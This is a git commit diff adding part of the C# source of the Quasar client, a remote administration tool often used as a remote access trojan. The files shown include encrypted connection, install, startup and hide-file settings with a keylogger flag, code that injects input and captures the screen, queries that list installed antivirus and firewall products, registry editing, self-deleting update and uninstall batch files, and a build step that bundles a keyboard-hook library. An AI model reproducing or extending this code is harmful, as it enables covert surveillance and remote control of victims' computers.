initial commit
This commit is contained in:
@@ -0,0 +1,113 @@
|
||||
using Quasar.Common.Cryptography;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Config
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the configuration of the client.
|
||||
/// </summary>
|
||||
public static class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
public static string VERSION = Application.ProductVersion;
|
||||
public static string HOSTS = "localhost:4782;";
|
||||
public static int RECONNECTDELAY = 500;
|
||||
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
|
||||
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
|
||||
public static string SUBDIRECTORY = "Test";
|
||||
public static string INSTALLNAME = "test.exe";
|
||||
public static bool INSTALL = false;
|
||||
public static bool STARTUP = false;
|
||||
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
|
||||
public static string STARTUPKEY = "Test key";
|
||||
public static bool HIDEFILE = false;
|
||||
public static bool ENABLELOGGER = false;
|
||||
public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
|
||||
public static string TAG = "DEBUG";
|
||||
public static string LOGDIRECTORYNAME = "Logs";
|
||||
public static string SERVERSIGNATURE = "";
|
||||
public static string SERVERCERTIFICATESTR = "";
|
||||
public static X509Certificate2 SERVERCERTIFICATE;
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
public static bool HIDEINSTALLSUBDIRECTORY = false;
|
||||
public static string INSTALLPATH = "";
|
||||
public static string LOGSPATH = "";
|
||||
public static bool UNATTENDEDMODE = true;
|
||||
|
||||
public static bool Initialize()
|
||||
{
|
||||
SetupPaths();
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
public static string VERSION = "";
|
||||
public static string HOSTS = "";
|
||||
public static int RECONNECTDELAY = 5000;
|
||||
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
|
||||
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
|
||||
public static string SUBDIRECTORY = "";
|
||||
public static string INSTALLNAME = "";
|
||||
public static bool INSTALL = false;
|
||||
public static bool STARTUP = false;
|
||||
public static string MUTEX = "";
|
||||
public static string STARTUPKEY = "";
|
||||
public static bool HIDEFILE = false;
|
||||
public static bool ENABLELOGGER = false;
|
||||
public static string ENCRYPTIONKEY = "";
|
||||
public static string TAG = "";
|
||||
public static string LOGDIRECTORYNAME = "";
|
||||
public static string SERVERSIGNATURE = "";
|
||||
public static string SERVERCERTIFICATESTR = "";
|
||||
public static X509Certificate2 SERVERCERTIFICATE;
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
public static bool HIDEINSTALLSUBDIRECTORY = false;
|
||||
public static string INSTALLPATH = "";
|
||||
public static string LOGSPATH = "";
|
||||
public static bool UNATTENDEDMODE = false;
|
||||
|
||||
public static bool Initialize()
|
||||
{
|
||||
if (string.IsNullOrEmpty(VERSION)) return false;
|
||||
var aes = new Aes256(ENCRYPTIONKEY);
|
||||
TAG = aes.Decrypt(TAG);
|
||||
VERSION = aes.Decrypt(VERSION);
|
||||
HOSTS = aes.Decrypt(HOSTS);
|
||||
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
|
||||
INSTALLNAME = aes.Decrypt(INSTALLNAME);
|
||||
MUTEX = aes.Decrypt(MUTEX);
|
||||
STARTUPKEY = aes.Decrypt(STARTUPKEY);
|
||||
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
|
||||
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
|
||||
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
|
||||
SetupPaths();
|
||||
return VerifyHash();
|
||||
}
|
||||
#endif
|
||||
|
||||
static void SetupPaths()
|
||||
{
|
||||
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
|
||||
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
|
||||
}
|
||||
|
||||
static bool VerifyHash()
|
||||
{
|
||||
try
|
||||
{
|
||||
var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
|
||||
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
|
||||
Convert.FromBase64String(SERVERSIGNATURE));
|
||||
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class DateTimeHelper
|
||||
{
|
||||
public static string GetLocalTimeZone()
|
||||
{
|
||||
var tz = TimeZoneInfo.Local;
|
||||
var tzOffset = tz.GetUtcOffset(DateTime.Now);
|
||||
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
|
||||
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
|
||||
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization.Json;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to serialize and deserialize JSON.
|
||||
/// </summary>
|
||||
public static class JsonHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Serializes an object to the respectable JSON string.
|
||||
/// </summary>
|
||||
public static string Serialize<T>(T o)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
s.WriteObject(ms, o);
|
||||
return Encoding.UTF8.GetString(ms.ToArray());
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deserializes a JSON string to the specified object.
|
||||
/// </summary>
|
||||
public static T Deserialize<T>(string json)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
|
||||
{
|
||||
return (T)s.ReadObject(ms);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deserializes a JSON stream to the specified object.
|
||||
/// </summary>
|
||||
public static T Deserialize<T>(Stream stream)
|
||||
{
|
||||
var s = new DataContractJsonSerializer(typeof(T));
|
||||
return (T)s.ReadObject(stream);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
using Quasar.Client.Utilities;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class NativeMethodsHelper
|
||||
{
|
||||
private const int INPUT_MOUSE = 0;
|
||||
private const int INPUT_KEYBOARD = 1;
|
||||
|
||||
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
|
||||
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
|
||||
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
|
||||
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
|
||||
private const uint MOUSEEVENTF_WHEEL = 0x0800;
|
||||
private const uint KEYEVENTF_KEYDOWN = 0x0000;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
|
||||
public static uint GetLastInputInfoTickCount()
|
||||
{
|
||||
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
|
||||
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
|
||||
lastInputInfo.dwTime = 0;
|
||||
NativeMethods.GetLastInputInfo(ref lastInputInfo);
|
||||
return lastInputInfo.dwTime;
|
||||
}
|
||||
|
||||
public static void DoMouseLeftClick(Point p, bool isMouseDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = 0,
|
||||
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoMouseRightClick(Point p, bool isMouseDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = 0,
|
||||
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoMouseMove(Point p)
|
||||
{
|
||||
NativeMethods.SetCursorPos(p.X, p.Y);
|
||||
}
|
||||
|
||||
public static void DoMouseScroll(Point p, bool scrollDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_MOUSE,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
mi = new NativeMethods.MOUSEINPUT
|
||||
{
|
||||
dx = p.X,
|
||||
dy = p.Y,
|
||||
mouseData = scrollDown ? -120 : 120,
|
||||
dwFlags = MOUSEEVENTF_WHEEL,
|
||||
time = 0,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
public static void DoKeyPress(byte key, bool keyDown)
|
||||
{
|
||||
NativeMethods.INPUT[] inputs = {
|
||||
new NativeMethods.INPUT
|
||||
{
|
||||
type = INPUT_KEYBOARD,
|
||||
u = new NativeMethods.InputUnion
|
||||
{
|
||||
ki = new NativeMethods.KEYBDINPUT
|
||||
{
|
||||
wVk = key,
|
||||
wScan = 0,
|
||||
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
|
||||
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
|
||||
}
|
||||
|
||||
private const int SPI_GETSCREENSAVERRUNNING = 114;
|
||||
|
||||
public static bool IsScreensaverActive()
|
||||
{
|
||||
var running = IntPtr.Zero;
|
||||
|
||||
if (!NativeMethods.SystemParametersInfo(
|
||||
SPI_GETSCREENSAVERRUNNING,
|
||||
0,
|
||||
ref running,
|
||||
0))
|
||||
{
|
||||
// Something went wrong (Marshal.GetLastWin32Error)
|
||||
}
|
||||
|
||||
return running != IntPtr.Zero;
|
||||
}
|
||||
|
||||
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
|
||||
private const uint DESKTOP_READOBJECTS = 0x0001;
|
||||
private const int WM_CLOSE = 16;
|
||||
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
|
||||
private const uint SPIF_SENDWININICHANGE = 0x0002;
|
||||
|
||||
public static void DisableScreensaver()
|
||||
{
|
||||
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
|
||||
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
|
||||
|
||||
if (handle != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
|
||||
{
|
||||
if (NativeMethods.IsWindowVisible(hWnd))
|
||||
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||
|
||||
// Continue enumeration even if it fails
|
||||
return true;
|
||||
},
|
||||
IntPtr.Zero);
|
||||
NativeMethods.CloseDesktop(handle);
|
||||
}
|
||||
else
|
||||
{
|
||||
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
|
||||
// We need to restart the counter for next screensaver according to
|
||||
// https://support.microsoft.com/en-us/kb/140723
|
||||
// (this may not be needed since we simulate mouse click afterwards)
|
||||
|
||||
var dummy = IntPtr.Zero;
|
||||
|
||||
// Doesn't really matter if this fails
|
||||
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
|
||||
|
||||
}
|
||||
|
||||
public static string GetForegroundWindowTitle()
|
||||
{
|
||||
StringBuilder sbTitle = new StringBuilder(1024);
|
||||
|
||||
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
|
||||
|
||||
return sbTitle.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Common.Models;
|
||||
using Quasar.Common.Utilities;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class RegistryKeyHelper
|
||||
{
|
||||
private static string DEFAULT_VALUE = String.Empty;
|
||||
|
||||
/// <summary>
|
||||
/// Adds a value to the registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="value">The value.</param>
|
||||
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||
{
|
||||
if (key == null) return false;
|
||||
|
||||
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
|
||||
value = "\"" + value + "\"";
|
||||
|
||||
key.SetValue(name, value);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens a read-only registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <returns></returns>
|
||||
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the specified value from the registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value to delete.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, true))
|
||||
{
|
||||
if (key == null) return false;
|
||||
key.DeleteValue(name, true);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the provided value is the default value
|
||||
/// </summary>
|
||||
/// <param name="valueName">The name of the value</param>
|
||||
/// <returns>True if default value, else False</returns>
|
||||
public static bool IsDefaultValue(string valueName)
|
||||
{
|
||||
return String.IsNullOrEmpty(valueName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds the default value to the list of values and returns them as an array.
|
||||
/// If default value already exists this function will only return the list as an array.
|
||||
/// </summary>
|
||||
/// <param name="values">The list with the values for which the default value should be added to</param>
|
||||
/// <returns>Array with all of the values including the default value</returns>
|
||||
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
|
||||
{
|
||||
if(!values.Any(value => IsDefaultValue(value.Name)))
|
||||
{
|
||||
values.Add(GetDefaultValue());
|
||||
}
|
||||
return values.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the default registry values
|
||||
/// </summary>
|
||||
/// <returns>A array with the default registry values</returns>
|
||||
public static RegValueData[] GetDefaultValues()
|
||||
{
|
||||
return new[] {GetDefaultValue()};
|
||||
}
|
||||
|
||||
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
|
||||
{
|
||||
var newRegValue = new RegValueData {Name = name, Kind = kind};
|
||||
|
||||
if (value == null)
|
||||
newRegValue.Data = new byte[] { };
|
||||
else
|
||||
{
|
||||
switch (newRegValue.Kind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
newRegValue.Data = (byte[]) value;
|
||||
break;
|
||||
case RegistryValueKind.MultiString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string[]) value);
|
||||
break;
|
||||
case RegistryValueKind.DWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
|
||||
break;
|
||||
case RegistryValueKind.QWord:
|
||||
newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
|
||||
break;
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
newRegValue.Data = ByteConverter.GetBytes((string) value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return newRegValue;
|
||||
}
|
||||
|
||||
private static RegValueData GetDefaultValue()
|
||||
{
|
||||
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Client.Utilities;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class ScreenHelper
|
||||
{
|
||||
private const int SRCCOPY = 0x00CC0020;
|
||||
|
||||
public static Bitmap CaptureScreen(int screenNumber)
|
||||
{
|
||||
Rectangle bounds = GetBounds(screenNumber);
|
||||
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb);
|
||||
|
||||
using (Graphics g = Graphics.FromImage(screen))
|
||||
{
|
||||
IntPtr destDeviceContext = g.GetHdc();
|
||||
IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero);
|
||||
|
||||
NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
|
||||
bounds.Y, SRCCOPY);
|
||||
|
||||
NativeMethods.DeleteDC(srcDeviceContext);
|
||||
g.ReleaseHdc(destDeviceContext);
|
||||
}
|
||||
|
||||
return screen;
|
||||
}
|
||||
|
||||
public static Rectangle GetBounds(int screenNumber)
|
||||
{
|
||||
return Screen.AllScreens[screenNumber].Bounds;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Management;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class SystemHelper
|
||||
{
|
||||
public static string GetUptime()
|
||||
{
|
||||
try
|
||||
{
|
||||
string uptime = string.Empty;
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
|
||||
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
|
||||
|
||||
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(uptime))
|
||||
throw new Exception("Getting uptime failed");
|
||||
|
||||
return uptime;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetPcName()
|
||||
{
|
||||
return Environment.MachineName;
|
||||
}
|
||||
|
||||
public static string GetAntivirus()
|
||||
{
|
||||
try
|
||||
{
|
||||
string antivirusName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM AntivirusProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
antivirusName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
antivirusName = StringHelper.RemoveLastChars(antivirusName);
|
||||
|
||||
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFirewall()
|
||||
{
|
||||
try
|
||||
{
|
||||
string firewallName = string.Empty;
|
||||
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
|
||||
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
|
||||
string query = "SELECT * FROM FirewallProduct";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
firewallName += mObject["displayName"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
firewallName = StringHelper.RemoveLastChars(firewallName);
|
||||
|
||||
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="ILRepacker" AfterTargets="CopyFilesToOutputDirectory" Condition="'$(Configuration)' == 'Release' And '$(DisableILRepack)' != 'true'">
|
||||
<Exec Command='"ilrepack" /parallel /internalize /out:"$(TargetPath)" "$(TargetPath)" "$(TargetDir)protobuf-net.dll" "$(TargetDir)Quasar.Common.dll" "$(TargetDir)Gma.System.MouseKeyHook.dll" "$(TargetDir)AForge.dll" "$(TargetDir)AForge.Video.dll" "$(TargetDir)AForge.Video.DirectShow.dll"' />
|
||||
</Target>
|
||||
<Target Name="CopyWindows" AfterTargets="ILRepacker" Condition="'$(OS)' == 'Windows_NT' ">
|
||||
<Exec Command='copy "$(TargetPath)" "$(TargetDir)client.bin" /Y' />
|
||||
</Target>
|
||||
<Target Name="CopyUnix" AfterTargets="ILRepacker" Condition="'$(OS)' != 'Windows_NT' ">
|
||||
<Exec Command='cp "$(TargetPath)" "$(TargetDir)client.bin"' />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -0,0 +1,79 @@
|
||||
using Quasar.Common.Helpers;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.IO
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods to create batch files for application update, uninstall and restart operations.
|
||||
/// </summary>
|
||||
public static class BatchFile
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates the uninstall batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||
public static string CreateUninstallBatch(string currentFilePath)
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string uninstallBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||
|
||||
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
|
||||
return batchFile;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates the update batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <param name="newFilePath">The new file path of the client.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
|
||||
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string updateBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||
|
||||
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
|
||||
return batchFile;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates the restart batch file.
|
||||
/// </summary>
|
||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||
public static string CreateRestartBatch(string currentFilePath)
|
||||
{
|
||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||
|
||||
string restartBatch =
|
||||
"@echo off" + "\r\n" +
|
||||
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||
"ping -n 10 localhost > nul" + "\r\n" +
|
||||
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||
|
||||
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
|
||||
|
||||
return batchFile;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace Quasar.Client.IO
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides access to retrieve information about the used hardware devices.
|
||||
/// </summary>
|
||||
/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
|
||||
public static class HardwareDevices
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets a unique hardware id as a combination of various hardware components.
|
||||
/// </summary>
|
||||
public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the hardware id.
|
||||
/// </summary>
|
||||
private static string _hardwareId;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the system CPU.
|
||||
/// </summary>
|
||||
public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the CPU name.
|
||||
/// </summary>
|
||||
private static string _cpuName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the GPU.
|
||||
/// </summary>
|
||||
public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the GPU name.
|
||||
